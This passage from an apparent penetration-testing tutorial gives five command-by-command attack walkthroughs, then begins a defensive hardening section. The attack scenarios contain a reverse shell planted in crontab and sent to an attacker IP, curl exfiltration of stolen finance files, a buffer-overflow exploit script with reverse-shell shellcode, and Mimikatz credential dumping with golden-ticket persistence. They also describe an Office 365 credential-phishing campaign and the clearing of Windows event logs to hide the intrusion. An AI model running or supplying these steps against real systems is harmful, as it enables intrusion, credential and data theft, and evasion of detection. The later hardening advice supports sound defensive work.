# INITIAL SITUATION: # - Target: 10.10.10.50 # - Services: HTTP (80), SSH (22) # - Goal: Get root.txt # PHASE 1: Reconnaissance nmap -sC -sV -p- 10.10.10.50 -oA nmap_full # Result: Port 80 (Apache 2.4.29), Port 22 (OpenSSH 7.6) # PHASE 2: Web Enumeration gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html # Found: /admin.php, /uploads/, /config.php.bak # Download backup file: wget http://10.10.10.50/config.php.bak cat config.php.bak # Found: MySQL credentials! user: dbadmin, pass: SuperSecretPass123! # PHASE 3: SQL Injection # Test /admin.php: # Username: admin' OR 1=1-- - # Password: anything # Result: Logged in! (Boolean-based SQL injection) # Exploit with SQLmap: sqlmap -u "http://10.10.10.50/admin.php" --data="username=admin&password=pass" --batch --dbs # Found databases: webapp, mysql sqlmap -u "http://10.10.10.50/admin.php" --data="username=admin&password=pass" -D webapp --tables # Found table: users sqlmap -u "http://10.10.10.50/admin.php" --data="username=admin&password=pass" -D webapp -T users --dump # Found: admin:5f4dcc3b5aa765d61d8327deb882cf99 (MD5 hash) # Crack hash: echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # Cracked: password # PHASE 4: File Upload Vulnerability # Login to /admin.php with: admin:password # Found: File upload feature! # Create PHP reverse shell: cp /usr/share/webshells/php/php-reverse-shell.php shell.php # Edit: Change IP and PORT to YOUR_IP:4444 # Start listener: nc -lvnp 4444 # Upload shell.php (filename validation bypass): # If .php blocked, try: shell.php.jpg, shell.php5, shell.phtml, shell.PhP # Access shell: curl http://10.10.10.50/uploads/shell.php # Result: Shell received as www-data! # PHASE 5: Initial Access & Stabilization # Upgrade shell: python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm # Ctrl+Z stty raw -echo; fg # PHASE 6: Privilege Escalation # Automated enum: wget http://YOUR_IP/linpeas.sh chmod +x linpeas.sh ./linpeas.sh | tee linpeas_output.txt # LinPEAS found: # 1. MySQL running as root # 2. /usr/bin/find with SUID bit # 3. User john has sudo rights # Check sudo (need password): su john Password: SuperSecretPass123! (from config.php.bak!) # Success! sudo -l # Output: (ALL) NOPASSWD: /usr/bin/find # Exploit SUID find: sudo find . -exec /bin/bash \; -quit # Result: Root shell! id # uid=0(root) gid=0(root) cat /root/root.txt # Flag captured! 🎯 # LESSON LEARNED: # 1. Always check for backup files (.bak, .old, ~) # 2. SQL injection → credentials # 3. Credentials often reused (MySQL pass = user pass) # 4. SUID binaries = easy root (check GTFOBins!) # Total time: ~2 hours for experienced pentester

Scenario 2: SMB → Domain Admin (Active Directory)

# INITIAL SITUATION: # - Target: Corporate AD environment # - IP Range: 10.10.10.0/24 # - Goal: Domain Admin # PHASE 1: Network Discovery nmap -sn 10.10.10.0/24 # Found: 15 hosts alive masscan 10.10.10.0/24 -p0-65535 --rate 10000 -oL ports.txt # Found: Multiple hosts with SMB (445) # PHASE 2: SMB Enumeration (No Creds) crackmapexec smb 10.10.10.0/24 # Result: # 10.10.10.50 - DC01.corp.local (domain controller!) # 10.10.10.51 - FILE01.corp.local # 10.10.10.52 - WEB01.corp.local # Try anonymous/guest access: crackmapexec smb 10.10.10.0/24 -u '' -p '' crackmapexec smb 10.10.10.0/24 -u 'guest' -p '' # Result: FILE01 allows guest access! # Enumerate shares: smbclient -L //10.10.10.51 -U guest% # Found shares: IPC$, Public, IT_Scripts # Access Public share: smbclient //10.10.10.51/Public -U guest% ls get passwords.xlsx # Found password file! # Also try: smbmap -H 10.10.10.51 -R # Recursively list ALL files in shares # PHASE 3: Credential Discovery # Download all interesting files: smbget -R smb://guest@10.10.10.51/Public/ # Check IT_Scripts share: smbclient //10.10.10.51/IT_Scripts -U guest% ls get deploy.ps1 cat deploy.ps1 # Found hardcoded credentials! # User: svc_deploy # Password: DeployPass123! # PHASE 4: Credential Validation crackmapexec smb 10.10.10.0/24 -u svc_deploy -p 'DeployPass123!' # Result: Valid on ALL hosts! (Password spraying success) # Check access level: crackmapexec smb 10.10.10.0/24 -u svc_deploy -p 'DeployPass123!' --shares # svc_deploy has admin access on WEB01! # PHASE 5: Initial Access evil-winrm -i 10.10.10.52 -u svc_deploy -p 'DeployPass123!' # Result: Shell on WEB01! # PHASE 6: Local Enumeration whoami /priv # Found: SeImpersonatePrivilege enabled! # Upload PrintSpoofer: upload /opt/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe # Escalate to SYSTEM: .\PrintSpoofer64.exe -i -c cmd # Result: SYSTEM shell! # PHASE 7: Credential Harvesting # Upload Mimikatz: upload /opt/mimikatz.exe C:\Windows\Temp\mimikatz.exe # Dump credentials: .\mimikatz.exe privilege::debug sekurlsa::logonpasswords # Found: # Domain Admin: administrator:AdminPass2023! # Service Account: svc_backup:BackupPass456! # PHASE 8: Domain Enumeration with Creds # From attacker machine: bloodhound-python -u svc_deploy -p 'DeployPass123!' -d corp.local -ns 10.10.10.50 -c All # Start BloodHound: sudo neo4j start bloodhound # Upload data and analyze # Found path: svc_backup → GenericAll on Domain Admins group! # PHASE 9: Kerberoasting GetUserSPNs.py corp.local/svc_deploy:DeployPass123! -dc-ip 10.10.10.50 -request -outputfile hashes.txt # Found 3 service accounts with SPNs # Crack hashes: hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt # Cracked: svc_sql:SQLService123! # PHASE 10: Lateral Movement # Check where svc_sql has admin: crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'SQLService123!' --local-auth # Admin on 10.10.10.53 (SQL01)! # Access SQL01: psexec.py corp.local/svc_sql:SQLService123!@10.10.10.53 # Dump more credentials: reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save download sam.save download system.save # On attacker: secretsdump.py -sam sam.save -system system.save LOCAL # Found local admin hash # PHASE 11: Domain Admin Access # Use discovered Domain Admin creds: psexec.py corp.local/administrator:AdminPass2023!@10.10.10.50 # Or if only hash: psexec.py -hashes :NTLM_HASH administrator@10.10.10.50 # Result: Shell on Domain Controller as administrator! # PHASE 12: Domain Dominance # DCSync attack (dump ALL domain hashes): secretsdump.py corp.local/administrator:AdminPass2023!@10.10.10.50 # Saves: All user hashes including krbtgt! # Create Golden Ticket: ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local administrator export KRB5CCNAME=administrator.ccache # Permanent access: psexec.py -k -no-pass administrator@dc01.corp.local # LESSONS LEARNED: # 1. Always check for guest/anonymous SMB access # 2. Hardcoded credentials in scripts = common! # 3. SeImpersonatePrivilege → SYSTEM (Potato exploits) # 4. BloodHound reveals hidden attack paths # 5. Kerberoasting often gives easy wins # 6. DCSync = permanent domain compromise # Total time: ~4-6 hours for experienced pentester

Scenario 3: Phishing → Lateral Movement → Data Exfiltration

# INITIAL SITUATION: # - Target: Finance department # - Access: External (no VPN) # - Goal: Steal financial records # PHASE 1: OSINT & Reconnaissance # Gather employee emails: theHarvester -d target.com -b all -l 500 # Found: 50+ email addresses # Check LinkedIn: # Identified: John Smith - Finance Manager (john.smith@target.com) # PHASE 2: Phishing Campaign Setup # Start Gophish: sudo ./gophish # Access: https://127.0.0.1:3333 # Create email template: # Subject: "Urgent: Password Expiration Notice" # Body: "Your password expires in 24 hours. Click here to reset: {{.URL}}" # Create landing page: # Clone Microsoft Office 365 login page # Enable credential capture # Create sending profile: # Use Gmail SMTP or compromised mail server # Send campaign to Finance department (10 users) # PHASE 3: Credential Harvesting # Wait 24 hours... # Results: 7/10 users clicked, 5/10 submitted credentials! # Captured credentials: # john.smith@target.com:Finance2023! # sarah.jones@target.com:Password123! # mike.davis@target.com:Summer2023! # PHASE 4: Initial Access # Validate credentials: crackmapexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success # john.smith credentials valid on multiple systems! # Access via VPN: # If company has VPN, try credentials there # Or use Outlook Web Access (OWA) # Check OWA: curl -k https://mail.target.com/owa # Success! OWA available # Login as john.smith # Access emails → Found VPN credentials in email! # Connect to VPN: openvpn --config target-vpn.ovpn --auth-user-pass # Username: john.smith # Password: Finance2023! # Result: Connected to internal network! # PHASE 5: Internal Network Enumeration # Now on 172.16.0.0/16 network nmap -sn 172.16.0.0/16 # Found: 200+ hosts # Find file servers: crackmapexec smb 172.16.0.0/16 -u john.smith -p 'Finance2023!' --shares | grep -i finance # Found: \\FILESERVER01\Finance_Shared # PHASE 6: Data Discovery smbclient //FILESERVER01/Finance_Shared -U john.smith%Finance2023! ls # Found directories: # - Budget_2023/ # - Payroll/ # - Contracts/ # - Quarterly_Reports/ # Download everything: smbget -R smb://john.smith:Finance2023!@FILESERVER01/Finance_Shared/ # PHASE 7: Privilege Escalation (Optional) # If need more access: evil-winrm -i FILESERVER01 -u john.smith -p 'Finance2023!' # Check privileges: whoami /groups # Found: john.smith is in "Finance Admins" group # This group has access to more sensitive shares! # PHASE 8: Lateral Movement # Found domain admin logged into FILESERVER01: # Use Mimikatz to dump credentials: upload mimikatz.exe .\mimikatz.exe privilege::debug sekurlsa::logonpasswords # Found: Domain Admin credentials! # PHASE 9: Data Exfiltration # Compress data: tar -czf finance_data.tar.gz Finance_Shared/ # Exfiltrate via multiple methods: # Method 1: HTTPS upload curl -X POST -F "file=@finance_data.tar.gz" https://YOUR_SERVER/upload # Method 2: Dropbox/OneDrive rclone copy finance_data.tar.gz dropbox:/ # Method 3: DNS exfiltration (stealth!) # Use dnscat2 or iodine to tunnel data through DNS # Method 4: Split and email split -b 10M finance_data.tar.gz part_ # Email each part separately (under email size limits) # PHASE 10: Covering Tracks # Clear PowerShell history: Remove-Item (Get-PSReadlineOption).HistorySavePath # Clear Windows Event Logs: wevtutil cl System wevtutil cl Security wevtutil cl Application # Delete uploaded tools: del C:\Windows\Temp\*.exe # LESSONS LEARNED: # 1. Phishing still works! (70% click rate common) # 2. Credentials in emails = treasure trove # 3. VPN access = game over for perimeter security # 4. File servers often have weak access controls # 5. Exfiltrate in encrypted/compressed formats # 6. Multiple exfil methods = better success rate # Total time: ~3 days for full campaign

Scenario 4: Buffer Overflow → System Compromise

# INITIAL SITUATION: # - Target: 10.10.10.50 (Windows 7) # - Service: Custom FTP server on port 9999 # - Goal: Remote code execution # PHASE 1: Service Discovery nmap -sV -p9999 10.10.10.50 # Found: SyncBreeze Enterprise v10.0.28 (vulnerable!) searchsploit "SyncBreeze 10.0.28" # Found: Buffer overflow exploit available! # PHASE 2: Vulnerability Analysis # Download vulnerable software locally # Set up Windows 7 VM for testing # Install Immunity Debugger # Connect FTP: ftp 10.10.10.50 9999 # Try sending large string: # Result: Service crashes! (Vulnerable to buffer overflow) # PHASE 3: Fuzzing # Create fuzzer script: cat > fuzz.py << 'EOF' import socket import sys buffer = "A" * 100 while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.10.10.50', 9999)) s.send(('USER ' + buffer + '\r\n').encode()) s.close() print(f"Sent {len(buffer)} bytes") buffer += "A" * 100 except: print(f"Crashed at {len(buffer)} bytes") sys.exit() EOF python3 fuzz.py # Result: Crashed at ~2700 bytes # PHASE 4: Finding EIP Offset # Create pattern: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700 # Pattern: Aa0Aa1Aa2Aa3... # Send pattern, check EIP value in Immunity Debugger # EIP: 42306142 # Find offset: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 42306142 # Offset: 2003 bytes # PHASE 5: Controlling EIP # Test: buffer = "A" * 2003 + "BBBB" + "C" * (2700 - 2003 - 4) # Result: EIP = 42424242 (BBBB in hex) - Perfect! # PHASE 6: Finding Bad Characters # Test all bytes (\\x00-\\xff) # Skip: \\x00 (null), \\x0a (newline), \\x0d (carriage return) # Result: Only \\x00, \\x0a, \\x0d are bad # PHASE 7: Finding JMP ESP # In Immunity Debugger: !mona modules # Find module without ASLR/DEP # Found: SLMFC.DLL (no protections!) !mona find -s "\\xff\\xe4" -m SLMFC.DLL # Found JMP ESP at: 0x5f4a358f # PHASE 8: Generate Shellcode msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f c -b "\\x00\\x0a\\x0d" -e x86/shikata_ga_nai # Shellcode generated (351 bytes) # PHASE 9: Final Exploit cat > exploit.py << 'EOF' import socket ip = "10.10.10.50" port = 9999 # Shellcode (msfvenom output) shellcode = ( b"\\xda\\xc1\\xba\\x..." # [full shellcode here] ) buffer = b"A" * 2003 # Padding buffer += b"\\x8f\\x35\\x4a\\x5f" # JMP ESP address (little-endian!) buffer += b"\\x90" * 16 # NOP sled buffer += shellcode # Reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(b"USER " + buffer + b"\\r\\n") s.close() EOF # PHASE 10: Exploitation # Start listener: nc -lvnp 4444 # Run exploit: python3 exploit.py # Result: Shell received! # whoami # nt authority\\system (Service running as SYSTEM!) # LESSONS LEARNED: # 1. Buffer overflows still exist in custom software # 2. Methodology: Fuzzing → Offset → Control EIP → Shellcode # 3. Bad characters can break shellcode # 4. NOP sled gives shellcode decoder breathing room # 5. Practice on VulnHub/HTB machines first! # Required knowledge: x86 assembly, stack operations, debugging # Total time: ~8-12 hours for first exploit, <1 hour once experienced

Scenario 5: Container Escape → Kubernetes Cluster Takeover

# INITIAL SITUATION: # - Access: Shell inside Docker container # - Goal: Escape container and compromise host # PHASE 1: Container Detection # Inside container: hostname # Output: random-hex-string (likely container!) cat /proc/1/cgroup # Output shows: docker, containerd, or lxc ls -la /.dockerenv # File exists = confirmed Docker container # PHASE 2: Container Enumeration # Check privileges: id # uid=0(root) - Root inside container (but not on host!) cat /proc/self/status | grep CapEff # Check effective capabilities capsh --decode=CAPABILITY_VALUE # Found: CAP_SYS_ADMIN (dangerous!) # Check if privileged: fdisk -l # If works = privileged container! # PHASE 3: Escape Method 1 - Privileged Container # If container is privileged: mkdir /mnt/host mount /dev/sda1 /mnt/host # Success! Host filesystem mounted! # Access host: chroot /mnt/host # Now executing commands on HOST! # Create backdoor: echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /etc/crontab # Or add SSH key: mkdir -p /root/.ssh echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # PHASE 4: Escape Method 2 - Docker Socket Mounted # Check if Docker socket exposed: ls -la /var/run/docker.sock # If exists = host Docker accessible! # Install Docker CLI in container: apt update apt install docker.io -y # List host containers: docker -H unix:///var/run/docker.sock ps # Create privileged container: docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host bash # Result: Root on host! # PHASE 5: Kubernetes Enumeration # Check if in Kubernetes: ls /var/run/secrets/kubernetes.io/serviceaccount/ # If exists = Kubernetes pod! # Get service account token: cat /var/run/secrets/kubernetes.io/serviceaccount/token # Get API server: env | grep KUBERNETES # Found: KUBERNETES_SERVICE_HOST, KUBERNETES_SERVICE_PORT # PHASE 6: Kubernetes API Access # Install kubectl: curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" chmod +x kubectl # Test access: ./kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \ --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \ --server=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT} \ auth can-i --list # Check permissions: ./kubectl get pods ./kubectl get secrets # Sensitive data! ./kubectl get nodes # Cluster info # PHASE 7: Privilege Escalation in Kubernetes # If service account has create pod permission: cat > evil-pod.yaml << 'EOF' apiVersion: v1 kind: Pod metadata: name: evil-pod spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: evil-container image: ubuntu securityContext: privileged: true volumeMounts: - mountPath: /host name: host-root command: ["/bin/bash"] args: ["-c", "chroot /host bash"] volumes: - name: host-root hostPath: path: / type: Directory EOF ./kubectl apply -f evil-pod.yaml # Access privileged pod: ./kubectl exec -it evil-pod -- /bin/bash # Result: Root on node! # PHASE 8: Cluster Compromise # From compromised node, access etcd: # etcd contains ALL Kubernetes secrets! # Get etcd pod: ps aux | grep etcd # Found etcd certificate paths # Extract secrets from etcd: ETCDCTL_API=3 etcdctl \ --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/server.crt \ --key=/etc/kubernetes/pki/etcd/server.key \ get / --prefix --keys-only # Download ALL secrets: ./kubectl get secrets --all-namespaces -o json > all-secrets.json # Parse for credentials: cat all-secrets.json | grep -i password # PHASE 9: Persistence # Create admin service account: cat > admin-sa.yaml << 'EOF' apiVersion: v1 kind: ServiceAccount metadata: name: admin-user namespace: kube-system --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: admin-user roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: admin-user namespace: kube-system EOF ./kubectl apply -f admin-sa.yaml # Get token: ./kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep admin-user | awk '{print $1}') # Save token for future access! # LESSONS LEARNED: # 1. Never run containers as root # 2. Never mount Docker socket in container # 3. Never use privileged containers # 4. Kubernetes service accounts = attack vector # 5. etcd compromise = entire cluster compromise # 6. Container security is multi-layered # Total time: ~2-4 hours depending on misconfigurations

🎓 Attack Scenario Analysis

What We Learned from These Scenarios:

Common Patterns:
1. Enumeration is KEY - Every scenario started with thorough enumeration
2. Credentials everywhere - Backup files, scripts, emails, memory
3. Lateral movement - Initial access rarely gives you the goal directly
4. Privilege escalation - Most common through misconfigurations, not exploits
5. Persistence - Always establish multiple access methods

Time Estimates (Experienced Pentester):
• Web App → Root: 2-3 hours
• SMB → Domain Admin: 4-6 hours
• Phishing Campaign: 2-3 days
• Buffer Overflow: 8-12 hours (first time), <1 hour (experienced)
• Container Escape: 2-4 hours

Critical Takeaways:
• 90% of pentesting is enumeration and patience
• Credentials are the primary attack vector (not exploits!)
• Misconfigurations > Unpatched vulnerabilities
• Defense in depth matters - Single point failures = compromise
• Humans are the weakest link (phishing works!)

Practice These Scenarios On:
• HackTheBox: Machines like "Lame", "Blue", "Jerry", "Forest"
• TryHackMe: "Kenobi", "Blue", "Ice", "Active Directory" path
• VulnHub: "Kioptrix", "FristiLeaks", "SickOS"
• PentesterLab: "From SQL Injection to Shell" series

These scenarios represent 80% of real-world pentests! 🎯

🛡️ DEFENSIVE SECURITY - How to Protect Against Everything You've Learned

Now that you know how to attack, learn how to DEFEND! Every hacker should understand both sides!

Network Security Hardening

# THREAT: Port scanning (Nmap, Masscan) # DEFENSE: # 1. Firewall rules (only allow necessary ports): # Linux (iptables): iptables -A INPUT -p tcp --dport 22 -j ACCEPT # SSH iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP iptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS iptables -A INPUT -j DROP # Drop everything else # Save rules: iptables-save > /etc/iptables/rules.v4 # 2. Implement port knocking: # Hides services until specific port sequence is hit # Example using knockd: apt install knockd # Configure /etc/knockd.conf: [openSSH] sequence = 7000,8000,9000 seq_timeout = 5 command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn # 3. Use fail2ban for brute-force protection: apt install fail2ban systemctl enable fail2ban # Configure /etc/fail2ban/jail.local: [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 3600 findtime = 600 # 4. Intrusion Detection System (IDS): # Snort: apt install snort # Configure /etc/snort/snort.conf # Set HOME_NET to your network snort -A console -q -c /etc/snort/snort.conf -i eth0 # Suricata (modern alternative): apt install suricata suricata-update # Update rulesets systemctl start suricata tail -f /var/log/suricata/fast.log # Monitor alerts # 5. Network segmentation: # Separate: DMZ, internal network, management network # Use VLANs to isolate systems # Critical servers on separate subnets # 6. Disable unnecessary services: systemctl list-unit-files --state=enabled systemctl disable apache2 # If not needed systemctl stop apache2 # 7. Monitor network traffic: # Install Zeek (formerly Bro): apt install zeek # Generates detailed network logs for analysis # 8. Implement rate limiting: # Limit connections per IP: iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j DROP # 9. Geo-blocking (if applicable): # Block countries you don't do business with # Use GeoIP databases with iptables # 10. Log EVERYTHING: # Centralized logging with syslog: # Forward logs to SIEM (Splunk, ELK, Wazuh)

Web Application Security

# THREAT: SQL Injection # DEFENSE: # 1. Use prepared statements (parameterized queries): # Bad (vulnerable): query = "SELECT * FROM users WHERE username='" + user_input + "'" # Good (safe): # Python: cursor.execute("SELECT * FROM users WHERE username=?", (user_input,)) # PHP: $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$user_input]); # 2. Input validation: # Whitelist approach: import re if re.match("^[a-zA-Z0-9_]+$", user_input): # Valid else: # Reject # 3. Use ORM (Object-Relational Mapping): # Django ORM, SQLAlchemy, Entity Framework # They handle SQL escaping automatically # 4. Principle of least privilege: # Database user should only have SELECT permission # NOT: DROP, CREATE, DELETE (unless absolutely necessary) # THREAT: Cross-Site Scripting (XSS) # DEFENSE: # 1. Output encoding: # Encode ALL user input before displaying: # HTML context: from html import escape safe_output = escape(user_input) # JavaScript context: import json safe_output = json.dumps(user_input) # 2. Content Security Policy (CSP): # HTTP header that prevents inline scripts: # In web server config: add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com"; # 3. Use frameworks that auto-escape: # React, Vue.js, Angular - auto-escape by default # 4. HTTPOnly cookies: # Prevents JavaScript from accessing cookies: Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict # THREAT: File Upload Vulnerabilities # DEFENSE: # 1. Validate file type (server-side): # Check MIME type AND file extension AND file content import magic file_type = magic.from_buffer(uploaded_file.read(), mime=True) if file_type not in ['image/jpeg', 'image/png']: reject() # 2. Rename uploaded files: import uuid new_filename = str(uuid.uuid4()) + ".jpg" # 3. Store uploads OUTSIDE web root: # Don't store in /var/www/html/uploads/ # Store in /var/uploads/ with no execute permissions # 4. Scan uploads with antivirus: # ClamAV: clamscan --infected --remove uploaded_file # 5. Limit file size: # In nginx.conf: client_max_body_size 10M; # THREAT: Directory Traversal # DEFENSE: # 1. Never use user input in file paths: # Bad: filename = user_input open(filename) # Good: import os filename = os.path.basename(user_input) # Removes ../ and / if filename in allowed_files: open(safe_directory + filename) # 2. Use absolute paths: safe_path = os.path.join(BASE_DIR, 'uploads', filename) if not safe_path.startswith(BASE_DIR): reject() # Traversal attempt detected! # THREAT: Command Injection # DEFENSE: # 1. NEVER use shell=True: # Bad: import subprocess subprocess.run(f"ping {user_input}", shell=True) # Good: subprocess.run(['ping', '-c', '4', user_input], shell=False) # 2. Input validation: # Only allow specific characters: if re.match("^[a-zA-Z0-9.-]+$", hostname): subprocess.run(['ping', '-c', '4', hostname]) # 3. Use libraries instead of shell commands: # Instead of: os.system('ls') # Use: os.listdir('.') # GENERAL WEB SECURITY: # 1. Use HTTPS everywhere: # Get free cert from Let's Encrypt: apt install certbot python3-certbot-nginx certbot --nginx -d yourdomain.com # 2. Security headers: # In web server config: add_header X-Frame-Options "SAMEORIGIN"; add_header X-Content-Type-Options "nosniff"; add_header X-XSS-Protection "1; mode=block"; add_header Strict-Transport-Security "max-age=31536000; includeSubDomains"; add_header Referrer-Policy "no-referrer-when-downgrade"; # 3. Regular security testing: # Automated scanners: nikto -h https://yoursite.com nuclei -u https://yoursite.com # 4. Web Application Firewall (WAF): # ModSecurity with OWASP Core Rule Set: apt install libapache2-mod-security2 # Configure /etc/modsecurity/modsecurity.conf # 5. Rate limiting: # Nginx: limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s; limit_req zone=one burst=5; # 6. Input sanitization library: # Use: OWASP ESAPI, DOMPurify, Bleach

Windows/Active Directory Security

# THREAT: Pass-the-Hash, Kerberoasting, DCSync # DEFENSE: # 1. Implement Credential Guard: # Prevents: Mimikatz from dumping credentials # Enable via Group Policy: # Computer Configuration → Administrative Templates → # System → Device Guard → Turn On Virtualization Based Security # 2. Protected Users security group: # Members of this group: # - Cannot use NTLM authentication # - Cannot use Kerberos DES or RC4 # - Cannot be delegated # Add Domain Admins to Protected Users group # 3. Disable NTLM (use Kerberos only): # Group Policy: # Computer Configuration → Windows Settings → Security Settings → # Local Policies → Security Options → # Network security: Restrict NTLM: Incoming NTLM traffic = Deny all # 4. LAPS (Local Administrator Password Solution): # Randomizes local admin passwords on all computers # Install LAPS: # Download from Microsoft # Deploy via Group Policy # Stores passwords in AD (encrypted) # 5. Tiered Administration Model: # Tier 0: Domain Controllers, Admins # Tier 1: Servers # Tier 2: Workstations # NEVER use Tier 0 creds on Tier 1/2 systems! # 6. Disable SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false # 7. Enable SMB signing: Set-SmbServerConfiguration -RequireSecuritySignature $true # 8. Audit Kerberos events: # Enable in Group Policy: # Computer Configuration → Windows Settings → # Security Settings → Advanced Audit Policy Configuration → # Account Logon → Audit Kerberos Service Ticket Operations # 9. Honeypot accounts: # Create fake admin accounts with no privileges # Monitor for ANY login attempts # Alert if used = attack detected! # 10. Regular security audits: # BloodHound: # Run as defender to find attack paths: Import-Module BloodHound Invoke-BloodHound -CollectionMethod All # Analyze and fix identified weaknesses # PingCastle: # AD security scanner: PingCastle.exe --healthcheck --server dc01.corp.local # 11. Service account security: # Don't use: Password never expires # Don't use: Account as Domain Admin # Use: Group Managed Service Accounts (gMSA) # Passwords managed by AD automatically # 12. Patch PrintNightmare/Zerologon: # Ensure: Latest Windows patches installed Get-HotFix | Sort-Object -Property InstalledOn -Descending # 13. Disable LLMNR/NBT-NS: # Group Policy: # Computer Configuration → Administrative Templates → # Network → DNS Client → Turn off multicast name resolution # 14. Monitor for DCSync: # Enable audit: Directory Service Access # Alert on Event ID 4662 with: # - Properties: {1131f6aa-...} (DS-Replication-Get-Changes) # - Properties: {1131f6ad-...} (DS-Replication-Get-Changes-All) # 15. Privileged Access Workstations (PAWs): # Dedicated workstations for admin tasks # No email, no browsing, hardened configuration

Privilege Escalation Prevention

# LINUX: Preventing Privilege Escalation # 1. Remove unnecessary SUID binaries: find / -perm -4000 2>/dev/null # For each found: chmod u-s /path/to/binary # If not needed # 2. Restrict sudo: # Edit /etc/sudoers (use visudo): # Bad: john ALL=(ALL) NOPASSWD: ALL # Good: john ALL=(ALL) /usr/bin/systemctl restart apache2 # 3. Use capabilities instead of SUID: # Instead of chmod +s: setcap cap_net_bind_service=+ep /usr/bin/python3.9 # 4. Kernel hardening: # sysctl settings in /etc/sysctl.conf: kernel.dmesg_restrict = 1 # Prevent dmesg from non-root kernel.kptr_restrict = 2 # Hide kernel pointers kernel.yama.ptrace_scope = 2 # Prevent ptrace fs.protected_hardlinks = 1 # Protect hardlinks fs.protected_symlinks = 1 # Protect symlinks # Apply: sysctl -p # 5. Disable core dumps: echo "* hard core 0" >> /etc/security/limits.conf # 6. Use AppArmor/SELinux: # AppArmor: apt install apparmor apparmor-utils aa-enforce /etc/apparmor.d/* # SELinux: setenforce 1 # Enforcing mode # Configure policies # 7. Secure cron jobs: # Ensure cron files not world-writable: chmod 600 /etc/crontab chmod 700 /etc/cron.d # 8. Protect .bash_history: # Prevent modification: chattr +a ~/.bash_history # 9. Limit root login: # Only via console, not SSH: # In /etc/ssh/sshd_config: PermitRootLogin no # WINDOWS: Preventing Privilege Escalation # 1. Disable SeImpersonatePrivilege for service accounts: # Use Group Policy or directly: ntrights -u ServiceAccount -r SeImpersonatePrivilege # 2. Patch regularly: # Enable Windows Update # Install: Windows Server Update Services (WSUS) # 3. Disable unnecessary services: Get-Service | Where-Object {$_.StartType -eq 'Automatic'} # Review and disable unneeded services # 4. File system permissions: # Regular audit: icacls C:\\ Program Files /verify # Fix weak permissions: icacls "C:\\Program Files\\App" /inheritance:r /grant Administrators:F SYSTEM:F # 5. Disable PowerShell v2: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 # 6. Configure Windows Firewall: New-NetFirewallRule -DisplayName "Block SMB" -Direction Outbound -Protocol TCP -LocalPort 445 -Action Block # 7. Implement Just Enough Administration (JEA): # Limits what administrators can do: New-PSSessionConfigurationFile -Path .\RestrictedAdmin.pssc -SessionType RestrictedRemoteServer # 8. Use Windows Defender Application Control (WDAC): # Whitelist approved applications only

Monitoring & Detection

# BUILD A SECURITY OPERATIONS CENTER (SOC) # 1. Centralized Logging (SIEM): # Option A: ELK Stack (Free) # Elasticsearch + Logstash + Kibana apt install elasticsearch logstash kibana # Configure Logstash to collect logs from all systems: # /etc/logstash/conf.d/logstash.conf # Visualize in Kibana: # http://localhost:5601 # Option B: Splunk (Enterprise): # Download from splunk.com # Install universal forwarder on all systems # Central Splunk server receives all logs # Option C: Wazuh (Free, SIEM + XDR): # Install Wazuh server: curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add - apt install wazuh-manager wazuh-api filebeat # Install Wazuh agent on endpoints: # Agents send security events to server # 2. Endpoint Detection and Response (EDR): # Windows Defender ATP (Built-in): # Enable via Microsoft 365 Defender portal # Sysmon (Free monitoring for Windows): # Download Sysmon from Microsoft # Install with SwiftOnSecurity config: sysmon64.exe -accepteula -i sysmonconfig-export.xml # Monitors: Process creation, network connections, file changes # Osquery (Cross-platform): # SQL-powered endpoint visibility: apt install osquery osqueryi > SELECT * FROM processes WHERE name LIKE '%mimikatz%'; # 3. Network Traffic Analysis: # Zeek (formerly Bro): apt install zeek zeekctl deploy # Analyzes all network traffic: # Logs: HTTP, DNS, SSL, files, etc. tail -f /opt/zeek/logs/current/http.log # 